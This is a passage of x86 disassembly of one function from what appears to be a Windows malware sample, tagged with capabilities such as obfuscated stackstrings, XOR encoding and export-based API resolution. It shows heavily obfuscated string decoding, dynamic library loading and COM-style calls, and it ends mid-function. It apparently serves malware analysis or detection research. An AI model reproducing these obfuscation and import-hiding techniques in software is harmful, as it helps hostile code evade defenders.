Function at 0x409e60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
xor eax, eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x1a], 0x4c427750
mov dword [esp + 0x1e], 0x5815080a
mov word [esp + 0x22], 0x5251
mov byte [esp + 0x24], 0
mov word [esp + 0x18], 0x584f
xor eax, eax
inc eax
mov cl, 0xcb
mov ebx, eax
mov al, byte [esp + eax + 0x18]
mov ch, cl
and cl, 0xc0
mov edx, ebx
mov esi, ebx
add dl, 0x33
and dl, 0x32
or dl, cl
xor dl, 0x32
mov cl, ch
not cl
and cl, 0xd
or cl, dl
mov ah, cl
xor ah, 2
xor cl, 8
and cl, 0xf8
and ah, 7
or ah, cl
mov cl, ah
xor cl, 0x62
xor ah, 7
and ah, cl
mov byte [esp + 4], ch
mov cl, ch
and cl, 0x9a
xor ch, 0x9a
or ch, cl
mov cl, ch
not cl
and cl, 0xcc
and ch, 0x33
or ch, cl
mov cl, ch
xor cl, 0x33
mov byte [esp + 8], cl
xor ch, 0xcc
mov byte [esp], ch
mov ebx, eax
not bl
mov edx, ebx
and dl, al
mov dh, dl
not dh
mov ch, al
and ch, 0x38
mov cl, bl
and cl, 0xc7
or cl, ch
mov ch, al
or ch, dh
and dh, 0x38
and dl, 0xc7
or dl, dh
xor dl, cl
not ch
or ch, dl
mov cl, ch
not cl
mov byte [esp + 0xc], cl
and cl, 0xa9
and ch, 0x56
or ch, cl
mov cl, ch
xor cl, 0x44
and cl, 0x65
xor ch, 0x33
or ch, cl
mov cl, ch
not cl
and cl, 0xfb
and ch, 4
or ch, cl
mov cl, bl
and cl, 0xb2
and al, 0x4d
or al, cl
xor al, 0x28
xor bl, al
and bl, al
mov byte [esp + 0x10], bl
mov al, ah
mov cl, ah
xor cl, 0x48
and cl, ah
not ah
and ah, 0xd3
and al, 0x2c
or al, ah
mov bh, al
xor bh, 0x2c
xor al, 0xd3
mov bl, byte [esp]
and bl, 0x48
mov ah, byte [esp + 8]
and ah, 0xb7
or ah, bl
mov bl, al
or bl, 0xb7
mov edx, ebx
and dl, 0x74
mov dh, bh
and dh, 8
or dh, dl
mov dl, cl
not dl
or bl, dl
and dl, 0x74
and cl, 0x8b
or cl, dl
xor cl, dh
not bl
or bl, cl
mov cl, bl
not cl
and cl, ah
not ah
and ah, bl
or ah, cl
mov cl, al
and cl, 0xec
and bh, 0x13
or bh, cl
mov cl, byte [esp + 8]
or al, cl
and cl, 0xec
mov dl, byte [esp]
and dl, 0x13
or dl, cl
mov cl, ch
xor cl, 4
xor ch, 0xfb
xor dl, bh
not al
or al, dl
mov edx, eax
not dl
and dl, 0x36
and al, 0xc9
or al, dl
mov bl, ah
not bl
mov edx, ebx
and dl, 0x8c
and ah, 0x73
or ah, dl
mov edx, eax
xor dl, 0x41
xor al, 0x36
or bl, al
and al, 0x8c
and dl, 0x73
or dl, al
xor dl, ah
not bl
or bl, dl
mov al, ch
and al, 0xd8
mov dh, cl
and dh, 0x27
or dh, al
mov ah, byte [esp + 0x10]
mov dl, ah
not dl
mov al, dl
and al, 0x86
and ah, 0x79
or ah, al
mov al, ah
mov ah, dh
xor dh, 8
or dh, 0x44
and dh, 0x6f
mov bh, byte [esp + 0xc]
and bh, 0x10
or bh, dh
mov dh, al
xor al, 0x79
or ch, 0x2b
xor dh, 0xbd
and dh, al
and ch, 0x6f
and cl, 0x80
or cl, ch
xor cl, bh
mov ch, dh
mov bh, dh
not ch
mov dh, ch
and dh, 0xfd
and bh, 2
or bh, dh
or dl, 0x3b
or ch, dl
and dl, 0xfd
xor dl, bh
not ch
or ch, dl
mov edx, ecx
not dl
and dl, 0x91
and cl, 0x6e
or cl, dl
mov dl, ch
not dl
and dl, 0x91
and ch, 0x6e
or ch, dl
xor ah, 0x27
xor ch, cl
mov cl, ah
and cl, al
xor al, ah
or al, cl
not al
mov cl, ch
and cl, al
xor al, ch
or al, cl
mov ecx, ebx
not cl
mov edx, ecx
and dl, 0xb8
and bl, 0x47
or bl, dl
mov edx, eax
not dl
xor bl, 0xb8
or bl, dl
and dl, 0x59
and al, 0xa6
or al, dl
not bl
xor al, 0x59
or al, cl
not al
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov edx, esi
mov byte [esp + esi + 0x18], al
inc edx
mov cl, byte [esp + 4]
dec cl
mov eax, edx
cmp edx, 0xc
jne 0x409eb4
xor ebx, ebx
lea esi, [esp + 0x18]
mov byte [esi + 0xc], bl
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi + 2], 0x4c5e587c
mov dword [esi + 6], 0x55575b50
mov dword [esi + 0xa], 0x387a5b47
mov byte [esi + 0xe], bl
mov word [esi], 0x5b43
xor eax, eax
inc eax
mov cl, 0xcb
mov ch, byte [esp + eax + 0x18]
mov edx, ecx
and dl, 0x20
mov ebx, eax
mov edi, eax
add bl, 0x33
mov dh, bl
xor dh, 0x24
and dh, bl
and bl, 4
or bl, dl
xor bl, 4
mov dl, bl
and dl, dh
xor dh, bl
or dh, dl
mov dl, dh
not dl
and dl, 0xee
and dh, 0x11
or dh, dl
mov dl, dh
xor dl, 0x35
xor dh, 0xca
and dl, ch
mov bl, ch
xor bl, 0x83
and bl, ch
not ch
and dh, ch
or dl, dh
not dl
or dl, ch
and ch, 0x83
mov dh, ch
and dh, bl
xor bl, ch
or bl, dh
mov ch, bl
not ch
and ch, 0xb9
and bl, 0x46
or bl, ch
mov dh, bl
not dh
xor bl, 0x3a
and bl, 0x3e
and dh, 0xc1
or dh, bl
mov bl, dh
xor bl, 1
mov eax, ecx
mov ch, cl
not ch
xor dh, 0x3e
mov bh, ch
and bh, 0xc8
and cl, 0x37
or cl, bh
or ch, dh
and dh, 0xc8
and bl, 0x37
or bl, dh
xor bl, cl
not ch
or ch, bl
mov cl, ch
not cl
and cl, dl
not dl
mov dh, dl
xor dh, ch
and dh, dl
and ch, dl
or ch, cl
mov cl, dh
not cl
mov dl, ch
not dl
mov ebx, ecx
and bl, 0x9e
and dh, 0x61
or dh, bl
or cl, dl
and dl, 0x9e
and ch, 0x61
or ch, dl
xor ch, dh
not cl
or cl, ch
mov edx, edi
mov byte [esp + edi + 0x18], cl
inc edx
dec al
mov ecx, eax
mov eax, edx
cmp edx, 0xe
jne 0x40a13e
mov byte [esp + 0x26], 0
push esi
call fcn.0040165b
xor ecx, ecx
push ecx
push ecx
call eax
test eax, eax
js 0x40bd7d
movaps xmm0, xmmword [str.p_XLP_WUG_l__7]
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0x3f312d31
mov byte [esp + 0x2c], 0
mov byte [esp + 0x18], 0x43
xor eax, eax
inc eax
mov cl, 0xcb
mov ebx, eax
mov dh, byte [esp + eax + 0x18]
mov dl, cl
mov eax, ecx
and al, 0xa0
mov ch, bl
mov edi, ebx
add ch, 0x33
mov cl, ch
and cl, 3
or cl, al
xor cl, 0xa0
mov eax, edx
or al, 0xa3
mov ah, dl
not ah
mov ebx, edx
and bl, 0x10
or bl, cl
and al, 0xa7
and ah, 0x48
or ah, al
or bl, 4
xor bl, ah
mov eax, ebx
not al
and al, 0x4c
and bl, 0xb3
or bl, al
mov eax, ebx
not al
and al, 0xcd
and bl, 0x32
or bl, al
mov eax, ebx
xor al, 0x10
and al, 0x11
xor bl, 0x23
or bl, al
mov eax, ebx
not al
and al, 0x30
and bl, 0xcf
or bl, al
mov eax, ebx
xor al, 4
mov byte [esp + 4], dl
mov cl, dl
and cl, 0xee
and ch, 0x11
or ch, cl
not ch
or ch, dl
mov byte [esp + 0x14], ch
mov cl, ch
not cl
mov byte [esp + 8], cl
mov dl, dh
mov byte [esp], dh
mov bh, dh
not bh
mov ch, bh
and ch, dh
mov dh, ch
not dh
and dl, 0x51
mov ah, bh
and ah, 0xae
or ah, dl
mov cl, byte [esp]
or cl, dh
and dh, 0x51
and ch, 0xae
or ch, dh
xor ch, ah
not cl
or cl, ch
mov byte [esp + 0xc], cl
mov edx, ecx
not dl
and dl, 0x11
xor cl, 0xee
or cl, dl
mov byte [esp + 0x10], cl
and bh, 0x98
mov dl, byte [esp]
and dl, 0x67
or dl, bh
mov ecx, edx
xor cl, 0x67
xor dl, 0x80
and dl, 0xe5
mov ah, dl
mov edx, ecx
and dl, 0x1a
or dl, ah
xor dl, 0xb
and cl, 0xee
or cl, dl
mov edx, ecx
not dl
and dl, 0xb9
and cl, 0x46
or cl, dl
mov byte [esp], cl
xor bl, 0x30
mov edx, ebx
and dl, 0xeb
and al, 0x14
or al, dl
mov ch, al
xor ch, 0x14
mov dh, byte [esp + 0x14]
mov dl, dh
and dl, 0xe0
mov cl, byte [esp + 8]
and cl, 0x1f
or cl, dl
xor al, 0xeb
mov dl, al
or dl, 0xe0
and dl, 0xf3
mov bh, ch
and bh, 0xc
or bh, dl
or bl, 0x13
and bl, 0xf3
xor bl, bh
mov ah, cl
xor ah, 0x1f
xor cl, 0xe0
mov bh, cl
or bh, 0x60
and bh, 0x7c
mov dl, ah
and dl, 3
or dl, bh
or dh, 0x1c
and dh, 0x7c
mov bh, byte [esp + 8]
and bh, 0x80
or bh, dh
xor bh, dl
mov edx, ebx
not dl
and dl, bh
not bh
and bh, bl
mov bl, byte [esp]
xor bl, 0xb9
or bh, dl
mov dh, bh
mov dl, al
and dl, 2
and ch, 0xfd
or ch, dl
or al, cl
and cl, 2
and ah, 0xfd
or ah, cl
xor ah, ch
not al
or al, ah
mov ecx, eax
not cl
and cl, 0xcc
and al, 0x33
or al, cl
mov ecx, eax
xor cl, 0x12
not bh
xor al, 0xcc
mov dl, bh
and dl, 0xa1
and dh, 0x5e
or dh, dl
or bh, al
and al, 0xa1
and cl, 0x5e
or cl, al
xor cl, dh
not bh
or bh, cl
mov cl, byte [esp + 0x10]
mov edx, ecx
xor dl, 0x8e
and dl, cl
mov dh, byte [esp]
xor dh, 0x37
and dh, bl
mov byte [esp + 8], bl
mov ah, dl
not ah
mov ch, ah
and ch, 0xc0
and dl, 0x3f
or dl, ch
mov ch, cl
and ch, bl
xor bl, cl
or cl, 0x71
or ah, cl
and cl, 0xc0
mov al, byte [esp + 0xc]
and al, 0xe
or al, cl
xor al, dl
not ah
or ah, al
mov al, dh
not al
mov dl, al
and dl, 0x5a
and dh, 0xa5
or dh, dl
mov dl, byte [esp + 8]
or dl, 0x71
mov cl, byte [esp]
xor cl, 4
or al, dl
and dl, 0x5a
and cl, 0x84
or cl, dl
xor cl, dh
not al
or al, cl
mov cl, ah
not cl
and cl, 0xc
and ah, 0xf3
or ah, cl
mov cl, al
not cl
and cl, 0xc
and al, 0xf3
or al, cl
xor al, ah
or bl, ch
mov ecx, ebx
not cl
and cl, 0x52
and bl, 0xad
or bl, cl
xor bl, 0xad
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
not bh
mov al, bh
and al, 0xc2
or bh, 0xc2
xor bh, al
mov eax, ebx
not al
or bl, 0x3d
or al, 0xc2
xor al, bl
mov cl, bh
not cl
and bh, 0x71
and cl, 0x8e
or cl, bh
mov edx, eax
not dl
and dl, 0x71
and al, 0x8e
or al, dl
xor al, cl
mov edx, edi
mov byte [esp + edi + 0x18], al
inc edx
mov cl, byte [esp + 4]
dec cl
mov eax, edx
cmp edx, 0x14
jne 0x40a260
xor ebx, ebx
mov byte [esp + 0x2c], bl
push esi
call fcn.0040165b
sub esp, 0x24
movaps xmm0, xmmword [0x4197d0]
movups xmmword [esp + 0x10], xmm0
movaps xmm0, xmmword [0x4197e0]
movups xmmword [esp], xmm0
mov dword [esp + 0x20], 0
call eax
movaps xmm0, xmmword [str.p_vDRYM_rRNJ._a]
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], bl
mov byte [esp + 0x18], 0x43
xor eax, eax
inc eax
mov cl, 0xcb
mov edx, eax
mov bh, byte [esp + eax + 0x18]
mov eax, ecx
and al, 0xb
mov bl, dl
mov edi, edx
add bl, 0x33
mov edx, ebx
and dl, 0xc0
or dl, al
mov eax, ecx
or al, 0xcb
xor al, dl
mov edx, eax
xor dl, 0x40
xor al, 0x13
and dl, 0x6c
and al, 0x93
or al, dl
mov ah, al
xor ah, 0x10
xor al, 0x81
and al, 0xc9
and ah, 0x36
or ah, al
mov ch, ah
xor ch, 0x24
mov dh, bh
mov dl, bh
not dl
mov al, dl
and al, 0x1b
and bh, 0xe4
or bh, al
xor ah, 9
and ah, 0x1b
and ch, 0xe4
or ch, ah
xor ch, bh
not ch
or ch, dl
mov bh, ch
not bh
and dh, 0x85
mov eax, edx
and al, 0x4a
or al, dh
xor al, 0x85
and dl, 0x30
or dl, al
and bl, dl
not dl
mov byte [esp + 8], cl
and dl, cl
or dl, bl
not dl
or dl, cl
mov eax, edx
not al
mov byte [esp], al
mov al, ch
and al, 0x78
xor ch, 0xf4
and ch, bh
mov dh, bh
and dh, 0x87
or dh, al
mov al, dh
xor al, 0x87
mov ah, al
and ah, 0xb
mov cl, dl
and cl, 0xb
mov bl, ah
and bl, ch
xor ch, ah
mov bh, dl
xor bh, 0xf4
and bh, byte [esp]
or ch, bl
mov ah, cl
and ah, bh
xor bh, cl
or bh, ah
mov cl, ch
not cl
and cl, bh
not bh
and bh, ch
xor dh, 0x78
or bh, cl
mov cl, dh
and cl, 0x54
and al, 0xab
or al, cl
mov cl, byte [esp]
or dh, cl
and cl, 0x54
and dl, 0xab
or dl, cl
xor dl, al
not dh
or dh, dl
mov al, bh
not al
mov ecx, eax
and cl, 0x83
and bh, 0x7c
or bh, cl
mov cl, dh
not cl
or al, dh
and dh, 0x83
and cl, 0x7c
or cl, dh
xor cl, bh
not al
or al, cl
mov edx, edi
mov byte [esp + edi + 0x18], al
inc edx
mov cl, byte [esp + 8]
dec cl
mov eax, edx
cmp edx, 0x10
jne 0x40a54c
mov byte [esp + 0x28], 0
push esi
call fcn.0040165b
lea ecx, [esp + 0x80]
push ecx
push 0x419b84
push 1
push 0
push 0x419b74
call eax
test eax, eax
js 0x40bd7d
mov eax, dword [esp + 0x80]
mov dword [esp + 0x14], eax
movaps xmm0, xmmword [0x419800]
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0xc00ec06d
mov word [esp + 0x2c], 0xc03d
mov word [esp + 0x42], 0
mov word [esp + 0x18], 0x52
xor eax, eax
inc eax
mov cx, 0x3fcb
mov esi, eax
mov dword [esp + 4], eax
movzx eax, word [esp + eax*2 + 0x18]
mov edx, ecx
mov dword [esp + 8], ecx
and edx, 0xfffff15d
add esi, 0xffffc033
mov ecx, esi
not ecx
and ecx, esi
mov edi, 0xea2
and esi, edi
or esi, edx
xor esi, edi
mov edx, esi
and edx, ecx
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
mov edi, 0x12f
and edx, edi
mov ebx, 0xfffffed0
and ecx, ebx
or ecx, edx
mov esi, ecx
xor esi, ebx
mov edx, eax
not edx
and esi, edx
xor ecx, edi
and ecx, eax
or ecx, esi
mov esi, ecx
xor esi, edx
and esi, ecx
mov dword [esp], esi
mov ecx, edx
mov esi, 0xffffcca0
and ecx, esi
and edx, eax
and eax, 0x335f
or eax, ecx
mov ecx, eax
xor ecx, 0x2308
xor eax, esi
mov esi, eax
mov edi, 0x1cd7
and esi, edi
mov ebx, 0xffffe328
and ecx, ebx
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, edi
and edx, ebx
or edx, esi
xor edx, ecx
not eax
or eax, edx
not eax
mov edx, dword [esp + 8]
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov esi, dword [esp]
mov ecx, esi
not ecx
mov dword [esp + 0x10], ecx
and ecx, 0xffffe0fe
mov edx, 0x1f01
and esi, edx
or esi, ecx
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0xffffbd53
mov edi, ecx
mov edx, 0x42ac
and edi, edx
or edi, ebx
mov edx, dword [esp]
or edx, 0x422e
mov dword [esp + 0xc], esi
xor esi, 0x1c01
mov ebx, 0xffffc22e
and edx, ebx
and esi, 0x1c91
or esi, edx
mov ebx, dword [esp + 0x10]
or ebx, 0xffff8000
mov edx, 0xffffc22e
and ebx, edx
mov edx, dword [esp]
and edx, 0x2140
or edx, ebx
xor edx, esi
mov esi, edx
mov ebx, edi
xor edi, 0xc00
or edi, 0x420a
mov edx, 0x4e8a
and edi, edx
mov edx, eax
and eax, 0xffff9011
or eax, edi
or edx, 0xc80
mov edi, 0x4e8a
and edx, edi
and ecx, 0x2164
or ecx, edx
xor ecx, eax
mov eax, esi
not eax
mov edx, 0x2555
and eax, edx
mov edi, 0xffffdaaa
and esi, edi
or esi, eax
mov eax, ecx
not eax
and eax, edx
and ecx, edi
or ecx, eax
mov eax, 0x1f01
mov edx, dword [esp + 0xc]
xor edx, eax
mov eax, 0x42ac
xor ebx, eax
xor ecx, esi
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
mov edx, 0x6b90
and eax, edx
and ebx, 0xffff946f
or ebx, eax
mov eax, ecx
not eax
mov edx, eax
mov edi, 0x10b6
and edx, edi
mov esi, 0xffffef49
and ecx, esi
or ecx, edx
mov edx, ebx
xor edx, 0xffff8449
mov esi, 0x6b90
xor ebx, esi
or eax, ebx
and ebx, edi
mov esi, 0xffffef49
and edx, esi
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov edx, dword [esp + 4]
mov word [esp + edx*2 + 0x18], ax
inc edx
mov ecx, dword [esp + 8]
dec ecx
mov eax, edx
cmp edx, 0x15
jne 0x40a6d7
mov word [esp + 0x42], 0
mov edx, dword [esp + 0x14]
mov eax, dword [edx]
sub esp, 0x24
lea ecx, [esp + 0x78]
mov dword [esp + 0x20], ecx
xor esi, esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
lea ebx, [esp + 0x3c]
mov dword [esp + 4], ebx
mov dword [esp], edx
call dword [eax + 0xc]
test eax, eax
js 0x40bd8d
movaps xmm0, xmmword [str.p_fSChKUCE]
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x37
mov byte [esp + 0x18], 0x43
movdqu xmm0, xmmword [esp + 0x19]
pcmpeqd xmm1, xmm1
movdqa xmm3, xmm0
pxor xmm3, xmm1
movdqa xmm4, xmmword [0x419820]
movdqa xmm5, xmm0
pand xmm5, xmm4
movdqa xmm2, xmm4
pandn xmm2, xmm3
por xmm2, xmm5
pxor xmm2, xmm4
movdqa xmm3, xmmword [0x419830]
movdqa xmm4, xmmword [0x419840]
pand xmm4, xmm2
movdqa xmm5, xmmword [0x419850]
pand xmm5, xmm0
por xmm5, xmm4
pxor xmm5, xmmword [0x419860]
por xmm2, xmm3
pxor xmm2, xmm1
por xmm2, xmm5
movdqa xmm4, xmm0
pxor xmm0, xmmword [0x419880]
pandn xmm4, xmm3
por xmm0, xmm4
movdqa xmm3, xmm0
movdqa xmm5, xmmword [str.8888888888888888_________________n]
movdqa xmm4, xmm2
por xmm4, xmm5
por xmm5, xmm0
movdqa xmm6, xmm2
pand xmm6, xmm0
pxor xmm0, xmm2
pxor xmm2, xmm1
movdqa xmm7, xmmword [0x419870]
pxor xmm3, xmm1
por xmm2, xmm7
pxor xmm2, xmm1
pxor xmm4, xmm1
por xmm4, xmm2
por xmm3, xmm7
pxor xmm3, xmm1
pxor xmm5, xmm1
por xmm5, xmm3
movdqa xmm2, xmmword [0x4198a0]
movdqa xmm3, xmm5
pandn xmm3, xmm2
movdqa xmm7, xmm2
pandn xmm7, xmm4
pandn xmm4, xmm2
por xmm4, xmm7
pandn xmm2, xmm5
por xmm2, xmm3
pxor xmm2, xmm4
por xmm0, xmm6
pxor xmm1, xmm0
pandn xmm0, xmm2
pxor xmm1, xmm2
por xmm1, xmm0
movdqu xmmword [esp + 0x19], xmm1
push ebx
call fcn.0040165b
mov ecx, dword [esp + 0x54]
sub esp, 0x20
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
movaps xmm0, xmmword [0x4198b0]
movups xmmword [esp + 4], xmm0
mov dword [esp], ecx
mov dword [esp + 0x14], 3
call eax
test eax, eax
js 0x40bd83
mov dword [esp + 0x5e], 0x545b7746
mov dword [esp + 0x62], 0x48685956
mov dword [esp + 0x66], 0x2751574f
mov byte [esp + 0x6a], 0
mov word [esp + 0x5c], 0x4d53
xor eax, eax
inc eax
mov dl, 0xcb
mov cl, byte [esp + eax + 0x5c]
mov byte [esp], dl
and dl, 0x75
mov byte [esp + 8], dl
mov dh, al
mov esi, eax
add dh, 0x33
mov ch, dh
not ch
and ch, dh
mov bh, cl
not bh
mov byte [esp + 4], cl
mov dl, bh
mov bl, cl
or cl, 0xf2
or bh, 0xd
xor bh, cl
mov cl, bh
not cl
and cl, 0xd3
and bh, 0x2c
or bh, cl
mov cl, bh
xor cl, 0x21
and cl, dh
mov al, dh
and al, 0x8a
add al, byte [esp + 8]
mov dh, al
xor dh, 0x75
mov ah, dh
and ah, 0x9b
and al, 0x64
or al, ah
mov ah, ch
not ah
or dh, ah
and ah, 0x9b
and ch, 0x64
or ch, ah
xor ch, al
not dh
or dh, ch
mov al, dh
not al
and al, 0xb0
and dh, 0x4f
or dh, al
mov al, dh
xor al, 6
xor dh, 0xb0
mov ah, byte [esp + 4]
and ah, 0xc9
and dl, 0x36
or dl, ah
or bl, dh
and dh, 0xc9
and al, 0x36
or al, dh
xor al, dl
not bl
or bl, al
mov eax, ebx
not al
xor bh, 0xde
mov dh, byte [esp]
and bh, dh
or cl, bh
not cl
or cl, dh
mov dl, cl
not dl
mov ah, al
xor ah, cl
and ah, al
and bl, 0x95
and al, 0x6a
or al, bl
and cl, 0x95
and dl, 0x6a
or dl, cl
xor dl, al
mov al, ah
and al, dl
xor dl, ah
or dl, al
mov ecx, esi
mov byte [esp + esi + 0x5c], dl
inc ecx
dec dh
mov dl, dh
mov eax, ecx
cmp ecx, 0xe
jne 0x40aa9e
lea eax, [esp + 0x5c]
mov byte [eax + 0xe], 0
push eax
call fcn.0040165b
mov dword [esp + 0x50], eax
movaps xmm0, xmmword [0x4198c0]
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0xc05fc054
mov dword [esp + 0x2c], 0xc04dc058
mov dword [esp + 0x30], 0xc040c04c
mov word [esp + 0x4e], 0
mov word [esp + 0x18], 0x57
xor eax, eax
inc eax
mov dx, 0x3fcb
mov esi, eax
mov dword [esp + 4], eax
movzx ecx, word [esp + eax*2 + 0x18]
mov eax, edx
mov dword [esp], edx
and eax, 0xffffabdb
add esi, 0xffffc033
mov edx, esi
and edx, 0x5424
or edx, eax
mov edi, edx
xor edi, 4
xor edx, 0x2899
mov eax, 0x7cb9
and edx, eax
mov ebx, 0xffff8346
and edi, ebx
or edi, edx
mov ebx, edi
xor ebx, eax
mov eax, 0xffff8346
xor edi, eax
mov eax, ecx
not eax
and edi, eax
and ebx, ecx
or ebx, edi
mov edx, ebx
xor edx, eax
and edx, ebx
and ecx, 0xffffc0bc
mov edi, eax
mov ebx, 0x942
and edi, ebx
or edi, ecx
mov ecx, dword [esp]
and ecx, 0x1c74
mov ebx, 0xffffe38b
and esi, ebx
or esi, ecx
xor esi, ebx
mov ecx, 0x942
xor edi, ecx
mov ecx, 0x3601
and eax, ecx
or eax, edi
xor eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x328d
mov ebx, 0xffffcd72
and eax, ebx
or eax, ecx
mov esi, edx
mov edi, edx
xor edi, 0xfffffe48
and edi, edx
not edx
mov ecx, 0xffffaf6d
and edx, ecx
mov ecx, 0x5092
and esi, ecx
or esi, edx
mov dword [esp + 0x14], esi
mov edx, esi
xor edx, ecx
mov dword [esp + 0xc], edx
mov ecx, esi
xor ecx, 0x5125
and ecx, edx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov ecx, eax
xor ecx, ebx
mov dword [esp + 8], ecx
mov ebx, ecx
or ebx, 0x1b7
mov edx, eax
xor edx, 0x1208
mov ecx, ebx
mov esi, 0xffffa8e7
and ecx, esi
and edx, 0x5608
or edx, ecx
mov dword [esp + 0x10], eax
xor eax, 0x333a
and eax, dword [esp + 8]
mov ecx, eax
not ecx
or ebx, ecx
mov esi, 0xffffa8e7
and ecx, esi
and eax, 0x5718
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, edi
not eax
mov ecx, 0x5f76
and eax, ecx
mov edx, 0xffffa089
and edi, edx
or edi, eax
mov eax, ebx
not eax
and eax, ecx
and ebx, edx
or ebx, eax
xor ebx, edi
mov eax, 0xffffaf6d
mov esi, dword [esp + 0x14]
xor esi, eax
mov eax, esi
mov ecx, 0x2536
and eax, ecx
mov ecx, 0xffffdac9
mov edi, dword [esp + 0xc]
and edi, ecx
or edi, eax
mov eax, dword [esp + 0x10]
xor eax, 0x1289
mov ecx, dword [esp + 8]
or esi, ecx
mov edx, 0x2536
and ecx, edx
mov edx, 0xffffdac9
and eax, edx
or eax, ecx
xor eax, edi
not esi
or esi, eax
mov eax, ebx
not eax
mov ecx, eax
mov edx, 0xfffffcb1
and ecx, edx
mov edi, 0x34e
and ebx, edi
or ebx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, edx
and ecx, edi
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, dword [esp + 4]
mov word [esp + ecx*2 + 0x18], ax
inc ecx
mov edx, dword [esp]
dec edx
mov eax, ecx
cmp ecx, 0x1b
jne 0x40abcd
mov word [esp + 0x4e], 0
lea eax, [esp + 0x18]
push eax
call dword [esp + 0x54]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x5e], 0x545b7746
mov dword [esp + 0x62], 0x48685956
mov dword [esp + 0x66], 0x2751574f
mov byte [esp + 0x6a], 0
mov word [esp + 0x5c], 0x4d53
xor eax, eax
inc eax
mov cl, 0xcb
mov edx, eax
mov bh, byte [esp + eax + 0x5c]
mov eax, ecx
mov bl, cl
mov byte [esp], cl
and cl, 0x8b
mov eax, edx
mov esi, edx
add al, 0x33
mov ch, al
and ch, 0x74
or ch, cl
mov cl, ch
xor cl, 0x40
xor ch, 0x8b
mov edx, eax
not dl
and dl, al
mov ah, dl
not ah
mov dh, ch
and dh, 0x3e
and cl, 0xc1
or cl, dh
or ch, ah
and ah, 0x3e
and dl, 0xc1
or dl, ah
xor dl, cl
not ch
or ch, dl
mov cl, ch
not cl
and cl, 0x48
and ch, 0xb7
or ch, cl
mov cl, ch
xor cl, 0xa4
and cl, 0xec
xor ch, 0x5b
or ch, cl
mov cl, ch
not cl
and cl, 0xa2
and ch, 0x5d
or ch, cl
mov cl, bl
and cl, 0x13
and al, 0xec
or al, cl
mov dh, bh
not dh
mov cl, dh
and cl, 0x5d
mov dl, bh
and dl, 0xa2
or dl, cl
mov ah, dl
xor ah, 0x22
xor dl, 0x5d
mov bl, dh
and bl, bh
mov cl, dl
and cl, 0xc5
and ah, 0x3a
or ah, cl
mov cl, bl
not cl
or dl, cl
and cl, 0xc5
and bl, 0x3a
or bl, cl
mov cl, ch
xor cl, 0x5d
not al
or al, byte [esp]
xor bl, ah
not dl
or dl, bl
mov ah, dl
not ah
and ah, 0xfe
mov bl, dl
and bl, 1
or bl, ah
xor bl, 1
and dl, 4
mov ah, bl
and ah, 0xfb
or ah, dl
mov dl, al
not dl
xor ah, 0xe8
and bl, 0xec
or bl, ah
and bh, 0xb9
mov ah, dh
and ah, 0x46
or ah, bh
xor ah, 0xaa
and dh, 0x13
or dh, ah
mov ah, dh
not ah
and ah, 0x18
and dh, 0xe7
or dh, ah
xor ch, 0xa2
mov ah, al
and ah, 0x65
and dl, 0x9a
or dl, ah
mov bh, dl
xor bh, 0x9a
mov ah, cl
or ah, 0x22
xor dl, 5
or dl, 0xf2
or al, 0xd
xor al, dl
and ah, 0x26
mov dl, ch
and dl, 9
or dl, ah
mov ah, ch
and ah, bh
xor bh, ch
or ch, 4
and ch, 0x26
and cl, 0xd0
or cl, ch
xor cl, dl
mov dl, cl
not dl
and dl, 0x2a
and cl, 0xd5
or cl, dl
mov dl, al
not dl
and dl, 0x2a
and al, 0xd5
or al, dl
mov ch, dh
xor ch, 0xe7
xor al, cl
or bh, ah
not bh
mov cl, al
and cl, bh
xor bh, al
or bh, cl
xor dh, 0x18
and dh, 0x7f
mov cl, ch
and cl, 0x80
or cl, dh
xor cl, 0x80
mov eax, ebx
xor al, 0x62
and al, bl
mov edx, ecx
mov ah, bl
and ah, cl
xor cl, bl
not bl
and bl, 0x62
and dl, 0x9d
and ch, 0x62
or ch, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov al, bl
not al
and al, ch
not ch
and ch, bl
or ch, al
or cl, ah
mov eax, ecx
not al
and al, 0x66
and cl, 0x99
or cl, al
xor cl, 0x99
mov al, ch
and al, cl
xor cl, ch
or cl, al
mov ah, bh
mov ch, bh
xor ch, 0x33
and ch, bh
not bh
and bh, 3
and ah, 0x30
or ah, bh
mov dl, ah
xor dl, 0xcf
mov al, cl
not al
mov dh, dl
and dh, 0xfc
and ah, 3
or ah, dh
mov dh, ch
not dh
or dl, dh
and dh, 0xfc
and ch, 3
or ch, dh
mov dh, cl
xor dh, 0x33
and dh, al
xor ch, ah
not dl
or dl, ch
mov ah, dh
not ah
mov ch, ah
and ch, 0x64
and dh, 0x9b
or dh, ch
or al, 0x33
or ah, al
and al, 0x64
and cl, 0x88
or cl, al
xor cl, dh
not ah
